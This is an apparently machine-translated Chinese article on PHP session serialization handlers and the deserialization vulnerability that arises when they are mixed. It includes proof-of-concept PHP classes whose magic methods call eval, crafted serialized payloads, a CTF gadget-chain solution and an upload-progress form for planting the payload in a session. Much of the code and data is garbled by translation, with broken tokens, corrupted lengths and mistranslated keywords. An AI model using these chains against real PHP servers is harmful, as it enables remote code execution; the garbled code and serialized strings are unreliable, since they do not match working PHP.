深入分析PHP中的SESSION反序列化机制
简介
php.ini中有三个配置项:
会话。save _ path=' '-设置会话的存储路径。save _ handler=' '-设置用户定义的存储功能。如果想使用PHP内置的会话存储机制,可以使用这个函数(数据库等)。)会话。auto _ startboolen-指定会话模块是否在请求启动时启动会话,默认值为0。不要启动会话。serialize _ handlers string-定义用于序列化/反序列化的处理器的名称。默认情况下,php上面的选项是与PHP中的Session存储和顺序存储相关的选项。
在使用xampp组件的安装中,上述配置项设置如下:
session . save _ path=' d : \ xampp \ Tmp '表示所有会话文件都存储在xampp/Session . save _ handler=Tmp下的文件表示会话存储为文件。session.auto_start=0表示会话会话。serialize _ handler=php默认情况下不启动。PHP表示会话默认的串行语音引擎使用上面提到的PHP串行语音引擎在配置中,session.serialize_handler用于设置会话的串行语音引擎。除了默认的PHP引擎,还有其他的引擎,不同的引擎对会话的存储方式也不同。
Php_binary:的存储方式如下:由serialize()函数序列化的ASCII字符键名对应键名长度的值存储为php_serialize(php5.5.4):由serialize()函数序列化的键名竖线的值存储为php_serialize(php5.5.4)。由serialize()函数序列化的值在PHP中默认使用PHP引擎。如果你想修改它到其他引擎,你只需要添加代码ini _ set ('session。serialize _ handler ','要设置的引擎');
示例代码如下:
?phpini _ set(' session . serialize _ handler ',' PHP _ serialize ');session _ start();//做点什么存储机制
php中会话的内容不是存储在内存中,而是存储在文件中。存储模式由配置项session.save_handler决定,默认情况下存储在文件中。
存储的文件以sess_sessionid命名,文件的内容是会话值序列之后的内容。
假设我们的环境是xampp,默认配置如上。
在默认配置中:
?PHP SESSION _ start()$ _ SESSION[' name ']=' spoock ';var _ dump();最后一个会话的存储和显示如下:
可以看到,PHPSESSID的值为jo86 ud4 jffu 81 mbg 28 sl2s 56 c 2,存储在xampp/tmp下的文件名为sess _ jo86 ud4 jffu 81 mbg 28 sl2s 56 c 2,文件内容为name | s:63360 ' Spoock。名称是键值,s 33606:“spoock”;是序列化的结果。
在php_serialize引擎下:
?phpini _ set(' session . serialize _ handler ',' PHP _ serialize ');session _ start();$ _ SESSION[' name ']=' spoock ';var _ dump();SESSION文件内容为a:13360 { s:43360 ' names 33606:“spoock”;} 。如果使用php_serialize进行排序,则添加A:1。同时使用php_serialize将在会话中序列化键和值。
在php_binary引擎下:
?phpini _ set(' session . serialize _ handler ',' PHP _ binary ');session _ start();$ _ SESSION[' name ']=' spoock ';var _ dump();SESSION文件内容名为:6:“spoock”;因为名字的长度是4,所以4对应ASCII表中的EOT。根据php_binary的存储规则,最后一个名为names:6: ' spoock。(突然发现ASCII值为4的字符在网页上显示不出来,就自己查ASCII表吧。)
序列化简单利用
test.php
?phpclass syclover { var $ func=function _ _ construct(){ $ this-func=' phpinfo()';} function _ _ wake(){ eval($ this-func);} }取消序列化($ _ GET[' a ']);传入的参数在第11行序列化。我们可以通过传入一个特定的字符串将其反序列化为syclover的示例,然后我们可以执行eval()方法。我们访问localhost/test.php?a=o :8: ' syc lover ' :1: { s :4: ' func ';s 336014:“echo‘spoock’;”;} 。
那么反序列化得到的内容就是:
对象(sy lover)[1]public ' func '=string ' echo ' spoock ';'(length=14) spoock在最后一页输出,表示我们定义的echo‘spoock’终于执行了;方法。
这是序列化漏洞的简单演示
PHP会话中的序列化危害
PHP中Session的实现没有问题,危害主要是程序员使用Session不当造成的。
如果PHP在反序列化存储的$_SESSION数据时使用的引擎不同于序列化时使用的引擎,数据将无法正确反序列化。通过精心构造的数据包,可以绕过程序的验证,或者执行一些系统化的方法。例如:
$ _ SESSION[' ryat ']=' | o :11: ' PeopleClass ' :0: } ';上述$_SESSION的数据使用php_serialize,因此最终存储的内容为a :13360 { s :6: ' Spoock ';s 336024:“| o :11:”people class“:0: { }”;} 。
但是当我们读的时候,我们选择了php,所以我们最后读的内容是:
数组(大小=1)' a :1: { s 33606: ' spoock ';s 336024: ' '=object(_ _ php _ complete _ class)[1]public ' _ _ PHP _ complete _ class _ name '=string ' people class '(长度=11)这是因为在使用PHP引擎时,PHP引擎会使用|作为键和值之间的分隔符,然后是a :13360 { s 336063360 ' Spoock ';S:24: '作为SESSION的键,O3 :113360 ' PeopleClass ' :03360 { }作为值,然后反序列化,最后得到PeopleCLaSS类。这种用于序列化和反序列化的不同引擎是PHP Session的串行语音漏洞的原因。
实际利用率
有s1.php和us2.php,两个文件使用的session的引擎不同,形成了一个漏洞,s1.php,使用php_serialize处理SESSION
?phpini _ set(' session . serialize _ handler ',' PHP _ serialize ');session _ start();$ _ SESSION[' spoock ']=$ _ GET[' a '];Us2.php,用php处理会话
ini _ set(' session . serialize _ handler ',' PHP ');session _ start();柠檬等级{ var $ hifunction _ _ construct(){ $ this-hi=' phpinfo();';} function _ _ destrust(){ eval($ this-hi);}}访问s1.php时,请提交以下数据:
localhost/s1.php?a=| o :5: ' lemon ' :1: { s :2: ' hi ';s 336014:“echo‘spoock’;”;}此时,传入的数据将根据php_serialize进行序列化。
此时,当访问us2.php时,页面输出spoock成功执行了我们构建的函数。因为在访问us2.php时,程序会根据php反序列化SESSION中的数据,此时会反序列化伪造的数据,实例化lemon对象,最后在析构函数中执行eval()方法。
夺旗类游戏
安恒杯的一个题目考查了这个知识点。本主题中的关键代码如下:
class.php
?phphighlight _ string(file _ get _ contents(base name($ _ SERVER[' PHP _ SELF '])));//show _ source(_ _ FILE _ _);class foo1 { public $ varrfunction _ _ construct(){ $ this-varr=' index . PHP ';} function _ _ destroy(){ if(file _ exists($ this-varr)){ echo ' br file }。这个瓦尔。存在br ';} echo“br这是foo1 br的析构函数”;} } class foo2 { public $ varr公共美元。function _ _ construct(){ $ this-varr=' 1234567890 ';$ this-obj=null;} function _ _ ToString(){ $ this-obj-execute();返回$ this-varr;} function __desctuct(){ echo 'br这是foo2的析构函数br ';} } class foo3 { public $ varr函数execute(){ eval($ this-varr);} function __desctuct(){ echo 'br这是foo3的析构函数br ';}}?index.php
?phpini _ set(' session . serialize _ handler ',' PHP ');要求('。/class . PHP ');session _ start();$ obj=new foo 1();$ obj-varr=' phpinfo . PHP ';通过代码发现,我们最终希望通过在foo3中执行来执行我们的自定义函数。
然后,我们首先在本地设置环境,并构建需要执行的自定义函数。如下所示:
myindex.php
?phpclass foo 3 { public $ varr=' echo ' spoock ';';函数execute(){ eval($ this-varr);} } class foo2 { public $ varr公共美元。function _ _ construct(){ $ this-varr=' 1234567890 ';$ this-obj=new foo 3();} function _ _ ToString(){ $ this-obj-execute();返回$ this-varr;} } class foo1 { public $ varrfunction _ _ construct(){ $ this-varr=new foo 2();} } $ obj=new foo 1();print _ r(serialize($ obj));foo1中的构造函数将$varr定义为foo2的实例,$obj定义为foo3的实例,$varr定义为foo3中的echo 'spoock '。最终获得的序列字的值是
o :4: ' foo 1 ' :1: { s :43: ' varr ';o :4: ' foo 2 ' :2: { s :43: ' varr ';s:10: ' 1234567890s 33603:“obj”;o :4: ' foo 3 ' :1: { s :43: ' varr ';s 336014:“echo‘spoock’;”;}}}这样,当上述序列的值写入服务器,然后访问服务器的index.php时,我们预定义的echo‘spoock’最终会被执行;的方法。
编写模式主要由PHP中的会话上传进度设置。具体来说,在上传文件时,如果您发布了一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,您可以将文件名的值分配给该会话。上传的页面编写如下:
表单操作='index.php '方法=' POST ' enctype=' multipart/form-data '输入类型='hidden '名称='PHP_SESSION_UPLOAD_PROGRESS '值='123'/Input类型=' file '名称=' file'/input类型=' submit'/表单最终会将文件名写入会话。具体实现细节请参考PHP手册。
那么最终写入的文件名是| o :43360 ' foo 1 ' :13360 { s :43360 ' varr \ ';o :4: ' foo 2 ' :2: { s :4: ' varr \ ';s:1: \ ' 1 \s:3: \ ' obj \o :4: ' foo 3 ' :1: { s :4: ' varr \ ';s 336012: ' var _ dump(1);\';}}}。请注意,本地反序列化和本地反序列化之间的区别是在前面添加了|。但是我在进行局部测试的时候,发现安恒所达到的效果是无法达到的,但是最终的原理是一样的。
摘要
通过对PHP中SESSION的分析,我们对PHP中SESSION的实现原理有了更深入的了解。PHP的这个SESSION问题也是一个很好的问题。上述文章不仅让大家了解了PHP中SESSION的序列化漏洞,也帮助程序员加强了对PHP中SESSION机制的理解。
好了,这就是本文的全部内容。希望本文的内容能给你的学习或工作带来一些帮助。有问题可以留言交流。
版权声明:深入分析PHP中的SESSION反序列化机制是由宝哥软件园云端程序自动收集整理而来。如果本文侵犯了你的权益,请联系本站底部QQ或者邮箱删除。